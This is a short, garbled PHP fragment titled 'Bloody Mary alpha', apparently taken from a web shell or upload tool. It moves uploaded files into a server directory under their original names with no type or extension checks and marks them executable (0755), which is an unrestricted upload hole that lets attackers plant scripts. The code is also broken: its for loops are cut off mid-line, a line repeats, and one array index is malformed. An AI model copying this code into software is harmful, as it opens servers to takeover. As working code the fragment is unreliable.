Bloody Mary alpha

if(isset($_FILES['nefis']['name'])) 

if(isset($_FILES['nefis']['name'])) {
        for ($i=0; $i                if(trim($_FILES['nefis']['tmp_name'][$i])) {
                        @move_uploaded_file($_FILES['nefis']['tmp_name'][$i], $_s['files_dir'].'/'.strtolower(basename($_FILES['nefis']['name'][$i])));
                        chmod($_s['files_dir'].'/'.strtolower(basename($_FILES['nefis']['name'][$i])),0755);
                }
        }
}

function upload_files() {
        global $_s;
        $upload_dir = $_s['upload_dir'];
                if(isset($_FILES['userfile']['name'])) {
        for ($i=0; $i        chmod($upload_dir.'/'.strtolower(basename($_FILES['userfile']['name'][$i]0)),0755);
        }
}